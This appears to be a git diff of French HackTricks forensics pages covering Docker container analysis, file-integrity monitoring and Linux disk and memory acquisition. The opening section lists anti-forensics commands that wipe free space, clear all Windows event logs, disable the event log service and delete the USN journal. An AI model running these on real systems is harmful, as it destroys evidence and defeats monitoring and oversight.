* Vous pouvez utiliser un **outil Windows** : `cipher /w:C` Cela indiquera à cipher de supprimer toutes les données de l'espace disque inutilisé disponible dans le lecteur C.
* Vous pouvez également utiliser des outils comme [**Eraser**](https://eraser.heidi.ie)
## Supprimer les journaux d'événements Windows
* Windows + R --> eventvwr.msc --> Développer "Journaux Windows" --> Cliquer avec le bouton droit sur chaque catégorie et sélectionner "Effacer le journal"
* Windows + R --> eventvwr.msc --> Développer "Journaux Windows" --> Clic droit sur chaque catégorie et sélectionner "Effacer le journal"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Désactiver les journaux d'événements Windows
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Dans la section des services, désactiver le service "Journal des événements Windows"
* À l'intérieur de la section des services, désactiver le service "Journal des événements Windows"
* `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl`
## Désactiver $UsnJrnl
* `fsutil usn deletejournal /d c:`
```
</details>

64
forensics/basic-forensic-methodology/docker-forensics.md
View file

@ -1,22 +1,22 @@
# Docker Forensics
# Investigation Forensique Docker
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Modification de conteneur
## Modification du Conteneur
Il y a des soupçons qu'un conteneur docker a été compromis :
Il y a des soupçons selon lesquels un conteneur Docker aurait été compromis :
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@ -36,37 +36,37 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Dans la commande précédente, **C** signifie **Changé** et **A,** **Ajouté**.\
Si vous découvrez qu'un fichier intéressant comme `/etc/shadow` a été modifié, vous pouvez le télécharger depuis le conteneur pour vérifier une activité malveillante avec :
Dans la commande précédente **C** signifie **Changé** et **A,** **Ajouté**.\
Si vous constatez qu'un fichier intéressant tel que `/etc/shadow` a été modifié, vous pouvez le télécharger depuis le conteneur pour vérifier toute activité malveillante avec :
```bash
docker cp wordpress:/etc/shadow.
```
Vous pouvez également **le comparer avec l'original** en exécutant un nouveau conteneur et en extrayant le fichier de celui-ci :
Vous pouvez également **le comparer avec l'original** en exécutant un nouveau conteneur et en extrayant le fichier à partir de celui-ci :
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Si vous découvrez qu'**un fichier suspect a été ajouté**, vous pouvez accéder au conteneur et le vérifier :
Si vous constatez que **un fichier suspect a été ajouté**, vous pouvez accéder au conteneur et le vérifier :
```bash
docker exec -it wordpress bash
```
## Modifications des images
## Modifications d'images
Lorsque vous recevez une image docker exportée (probablement au format `.tar`), vous pouvez utiliser [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) pour **extraire un résumé des modifications** :
Lorsque vous disposez d'une image Docker exportée (probablement au format `.tar`), vous pouvez utiliser [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) pour **extraire un résumé des modifications** :
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Ensuite, vous pouvez **décompresser** l'image et **accéder aux blobs** pour rechercher des fichiers suspects que vous auriez trouvés dans l'historique des modifications :
Ensuite, vous pouvez **décompresser** l'image et **accéder aux blobs** pour rechercher des fichiers suspects que vous avez peut-être trouvés dans l'historique des modifications :
```bash
tar -xf image.tar
```
### Analyse de base
Vous pouvez obtenir des **informations de base** de l'image en exécutant :
Vous pouvez obtenir des **informations de base** à partir de l'image en cours d'exécution :
```bash
docker inspect <image>
```
@ -79,9 +79,9 @@ Vous pouvez également générer un **dockerfile à partir d'une image** avec :
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
### Plongée
Pour trouver les fichiers ajoutés/modifiés dans les images docker, vous pouvez également utiliser l'outil [**dive**](https://github.com/wagoodman/dive) (téléchargez-le depuis les [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) :
Pour trouver les fichiers ajoutés/modifiés dans les images docker, vous pouvez également utiliser l'utilitaire [**dive**](https://github.com/wagoodman/dive) (téléchargez-le depuis les [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)):
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1 ⨯
@ -90,30 +90,16 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Cela vous permet de **naviguer à travers les différents blobs des images docker** et de vérifier quels fichiers ont été modifiés/ajoutés. **Rouge** signifie ajouté et **jaune** signifie modifié. Utilisez **tab** pour passer à l'autre vue et **espace** pour réduire/ouvrir les dossiers.
Cela vous permet de **naviguer à travers les différents blobs des images Docker** et de vérifier quels fichiers ont été modifiés/ajoutés. Le **rouge** signifie ajouté et le **jaune** signifie modifié. Utilisez la touche **tabulation** pour passer à l'autre vue et **espace** pour réduire/ouvrir les dossiers.
Avec die, vous ne pourrez pas accéder au contenu des différentes étapes de l'image. Pour ce faire, vous devrez **décompresser chaque couche et y accéder**.\
Vous pouvez décompresser toutes les couches d'une image depuis le répertoire où l'image a été décompressée en exécutant :
Avec cela, vous ne pourrez pas accéder au contenu des différentes étapes de l'image. Pour le faire, vous devrez **décompresser chaque couche et y accéder**.\
Vous pouvez décompresser toutes les couches d'une image à partir du répertoire où l'image a été décompressée en exécutant :
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Identifiants depuis la mémoire
## Identifiants en mémoire
Notez que lorsque vous exécutez un conteneur docker à l'intérieur d'un hôte, **vous pouvez voir les processus s'exécutant dans le conteneur depuis l'hôte** en exécutant simplement `ps -ef`.
Notez que lorsque vous exécutez un conteneur Docker à l'intérieur d'un hôte, **vous pouvez voir les processus s'exécutant sur le conteneur depuis l'hôte** en exécutant simplement `ps -ef`.
Par conséquent (en tant que root), vous pouvez **dumper la mémoire des processus** depuis l'hôte et rechercher des **identifiants** tout [**comme dans l'exemple suivant**](../../linux-hardening/privilege-escalation/#process-memory).
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Par conséquent (en tant que root), vous pouvez **extraire la mémoire des processus** depuis l'hôte et rechercher des **identifiants** tout comme dans [**l'exemple suivant**](../../linux-hardening/privilege-escalation/#process-memory).

36
forensics/basic-forensic-methodology/file-integrity-monitoring.md
View file

@ -1,33 +1,33 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
# Baseline
Une baseline consiste à prendre une capture instantanée de certaines parties d'un système pour **la comparer à un état futur afin de mettre en évidence les changements**.
Une ligne de base consiste à prendre un instantané de certaines parties d'un système pour **le comparer à un état futur afin de mettre en évidence les changements**.
Par exemple, vous pouvez calculer et stocker le hash de chaque fichier du système de fichiers pour pouvoir déterminer quels fichiers ont été modifiés.\
Cela peut également être fait avec les comptes utilisateurs créés, les processus en cours d'exécution, les services en cours d'exécution et toute autre chose qui ne devrait pas changer beaucoup, voire pas du tout.
Par exemple, vous pouvez calculer et stocker le hachage de chaque fichier du système de fichiers pour pouvoir savoir quels fichiers ont été modifiés.\
Cela peut également être fait avec les comptes d'utilisateurs créés, les processus en cours d'exécution, les services en cours d'exécution et toute autre chose qui ne devrait pas changer beaucoup, voire pas du tout.
## Surveillance de l'intégrité des fichiers
La surveillance de l'intégrité des fichiers est l'une des techniques les plus puissantes utilisées pour sécuriser les infrastructures informatiques et les données commerciales contre une grande variété de menaces connues et inconnues.\
L'objectif est de générer une **baseline de tous les fichiers** que vous souhaitez surveiller, puis de **vérifier périodiquement** ces fichiers pour d'éventuels **changements** (dans le contenu, les attributs, les métadonnées, etc.).
L'objectif est de générer une **ligne de base de tous les fichiers** que vous souhaitez surveiller, puis de **vérifier périodiquement** ces fichiers pour d'éventuels **changements** (dans le contenu, les attributs, les métadonnées, etc.).
1\. **Comparaison de baseline,** où un ou plusieurs attributs de fichier seront capturés ou calculés et stockés comme une baseline qui pourra être comparée à l'avenir. Cela peut être aussi simple que la date et l'heure du fichier, cependant, puisque ces données peuvent être facilement falsifiées, une approche plus fiable est généralement utilisée. Cela peut inclure l'évaluation périodique de la somme de contrôle cryptographique pour un fichier surveillé, (par exemple, en utilisant l'algorithme de hachage MD5 ou SHA-2) puis en comparant le résultat à la somme de contrôle précédemment calculée.
1\. **Comparaison de la ligne de base**, où un ou plusieurs attributs de fichier seront capturés ou calculés et stockés en tant que ligne de base pouvant être comparée ultérieurement. Cela peut être aussi simple que l'heure et la date du fichier, cependant, comme ces données peuvent être facilement falsifiées, une approche plus fiable est généralement utilisée. Cela peut inclure l'évaluation périodique du hachage cryptographique d'un fichier surveillé, (par exemple en utilisant l'algorithme de hachage MD5 ou SHA-2) puis comparer le résultat au hachage précédemment calculé.
2\. **Notification de changement en temps réel**, qui est généralement mise en œuvre au sein ou en tant qu'extension du noyau du système d'exploitation qui signalera lorsqu'un fichier est accédé ou modifié.
2\. **Notification de changement en temps réel**, qui est généralement implémentée à l'intérieur ou en tant qu'extension du noyau du système d'exploitation qui signalera quand un fichier est accédé ou modifié.
## Outils
@ -41,14 +41,14 @@ L'objectif est de générer une **baseline de tous les fichiers** que vous souha
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

217
forensics/basic-forensic-methodology/linux-forensics.md
View file

@ -1,37 +1,36 @@
# Linux Forensics
# Analyse Forensique Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires **les plus avancés**.\
Obtenez l'accès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez-y aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Collecte d'Informations Initiales
## Collecte d'Informations Initiale
### Informations de Base
Tout d'abord, il est recommandé d'avoir une **clé USB** avec des **binaires et bibliothèques bien connus dessus** (vous pouvez simplement obtenir ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter la clé USB, et modifier les variables d'environnement pour utiliser ces binaires :
Tout d'abord, il est recommandé d'avoir une **clé USB** avec des **binaires et des bibliothèques bien connus** (vous pouvez simplement prendre Ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter la clé USB et modifier les variables d'environnement pour utiliser ces binaires :
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer à **extraire des informations de base** :
Une fois que vous avez configuré le système pour utiliser des binaires bons et connus, vous pouvez commencer **à extraire quelques informations de base** :
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -51,19 +50,19 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Informations suspectes
Lors de l'obtention des informations de base, vous devriez vérifier des anomalies telles que :
Lors de l'obtention des informations de base, vous devriez vérifier des choses étranges comme :
* Les **processus root** s'exécutent généralement avec des PIDS bas, donc si vous trouvez un processus root avec un grand PID, vous pourriez être suspicieux
* Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd`
* Recherchez les **hashes de mot de passe** dans `/etc/shadow` pour les utilisateurs sans shell
- Les **processus root** ont généralement des PIDs bas, donc si vous trouvez un processus root avec un PID élevé, vous pouvez suspecter
- Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd`
- Vérifiez les **hachages de mots de passe** dans `/etc/shadow` pour les utilisateurs sans shell
### Dump de mémoire
### Capture de mémoire
Pour obtenir la mémoire du système en cours d'exécution, il est recommandé d'utiliser [**LiME**](https://github.com/504ensicsLabs/LiME).\
Pour le **compiler**, vous devez utiliser le **même noyau** que celui de la machine victime.
Pour le **compiler**, vous devez utiliser le **même noyau** que celui utilisé par la machine victime.
{% hint style="info" %}
Rappelez-vous que vous **ne pouvez pas installer LiME ou toute autre chose** sur la machine victime car cela entraînerait plusieurs modifications
Rappelez-vous que vous **ne pouvez pas installer LiME ou quoi que ce soit d'autre** sur la machine victime car cela apportera plusieurs modifications à celle-ci
{% endhint %}
Donc, si vous avez une version identique d'Ubuntu, vous pouvez utiliser `apt-get install lime-forensics-dkms`\
@ -74,18 +73,18 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME prend en charge 3 **formats**:
* Raw (chaque segment concaténé ensemble)
* Padded (identique au raw, mais avec des zéros dans les bits de droite)
* Lime (format recommandé avec métadonnées)
* Brut (chaque segment concaténé ensemble)
* Rembourré (identique au brut, mais avec des zéros dans les bits de droite)
* Lime (format recommandé avec des métadonnées)
LiME peut également être utilisé pour **envoyer le dump via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444`
LiME peut également être utilisé pour **envoyer le vidage via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444`
### Imagerie de disque
#### Arrêt du système
#### Arrêt
Tout d'abord, vous devrez **arrêter le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'arrêter.\
Il y a **2 manières** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware éventuel** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une perte d'informations** (peu d'infos seront perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** la présence d'un **malware**, exécutez simplement la **commande `sync`** sur le système et débranchez la prise.
Il existe **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également à un éventuel **logiciel malveillant** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une perte d'informations** (pas beaucoup d'informations seront perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** la présence d'un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise.
#### Prendre une image du disque
@ -98,9 +97,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Pré-analyse d'image disque
### Pré-analyse de l'image disque
Création d'une image disque sans plus de données.
Imager une image disque sans plus de données.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -153,21 +152,19 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
```markdown
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.
Obtenez l'accès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Recherche de Malware connu
## Recherche de logiciels malveillants connus
### Fichiers Système Modifiés
### Fichiers système modifiés
Certains systèmes Linux disposent d'une fonctionnalité pour **vérifier l'intégrité de nombreux composants installés**, offrant un moyen efficace d'identifier les fichiers inhabituels ou déplacés. Par exemple, `rpm -Va` sur Linux est conçu pour vérifier tous les paquets qui ont été installés en utilisant le RedHat Package Manager.
```
Certains systèmes Linux disposent d'une fonctionnalité pour **vérifier l'intégrité de nombreux composants installés**, offrant un moyen efficace d'identifier des fichiers inhabituels ou mal placés. Par exemple, `rpm -Va` sur Linux est conçu pour vérifier tous les packages installés à l'aide du gestionnaire de paquets RedHat.
```bash
#RedHat
rpm -Va
@ -175,20 +172,20 @@ rpm -Va
dpkg --verify
debsums | grep -v "OK$" #apt-get install debsums
```
### Détecteurs de Malware/Rootkit
### Détecteurs de logiciels malveillants/Rootkit
Lisez la page suivante pour en savoir plus sur les outils qui peuvent être utiles pour trouver des malwares :
Lisez la page suivante pour en savoir plus sur les outils qui peuvent être utiles pour trouver des logiciels malveillants :
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Recherche de programmes installés
## Recherche des programmes installés
### Gestionnaire de paquets
Sur les systèmes basés sur Debian, le fichier _**/var/lib/dpkg/status**_ contient des détails sur les paquets installés et le fichier _**/var/log/dpkg.log**_ enregistre des informations lorsqu'un paquet est installé.\
Sur les distributions Linux liées à RedHat, la commande **`rpm -qa --root=/mntpath/var/lib/rpm`** listera le contenu d'une base de données RPM sur un système.
Sur RedHat et les distributions Linux connexes, la commande **`rpm -qa --root=/mntpath/var/lib/rpm`** listera le contenu d'une base de données RPM sur un système.
```bash
#Debian
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -196,9 +193,9 @@ cat /var/log/dpkg.log | grep installed
#RedHat
rpm -qa --root=/ mntpath/var/lib/rpm
```
### Autres
### Autre
**Tous les programmes installés ne seront pas listés par les commandes ci-dessus** car certaines applications ne sont pas disponibles en tant que paquets pour certains systèmes et doivent être installées à partir du code source. Par conséquent, un examen des emplacements tels que _**/usr/local**_ et _**/opt**_ peut révéler d'autres applications qui ont été compilées et installées à partir du code source.
**Tous les programmes installés ne seront pas répertoriés par les commandes ci-dessus** car certaines applications ne sont pas disponibles en tant que packages pour certains systèmes et doivent être installées à partir de la source. Par conséquent, un examen des emplacements tels que _**/usr/local**_ et _**/opt**_ peut révéler d'autres applications qui ont été compilées et installées à partir du code source.
```bash
ls /opt /usr/local
```
@ -210,23 +207,21 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
#RedHat
find /sbin/ –exec rpm -qf {} \; | grep "is not"
```
```markdown
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.
Obtenez l'accès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Récupérer les Binaires Supprimés en Cours d'Exécution
## Récupérer les binaires en cours d'exécution supprimés
![](<../../.gitbook/assets/image (641).png>)
## Inspecter les Emplacements de Démarrage Automatique
## Inspecter les emplacements de démarrage automatique
### Tâches Planifiées
```
### Tâches planifiées
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@ -242,7 +237,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Services
Il est extrêmement courant que les malwares s'incrustent en tant que nouveau service non autorisé. Linux utilise plusieurs scripts pour démarrer des services lors du démarrage de l'ordinateur. Le script de démarrage d'initialisation _**/etc/inittab**_ appelle d'autres scripts tels que rc.sysinit et divers scripts de démarrage sous le répertoire _**/etc/rc.d/**_, ou _**/etc/rc.boot/**_ dans certaines anciennes versions. Sur d'autres versions de Linux, comme Debian, les scripts de démarrage sont stockés dans le répertoire _**/etc/init.d/**_. De plus, certains services courants sont activés dans _**/etc/inetd.conf**_ ou _**/etc/xinetd/**_ selon la version de Linux. Les enquêteurs numériques doivent inspecter chacun de ces scripts de démarrage pour y détecter des entrées anormales.
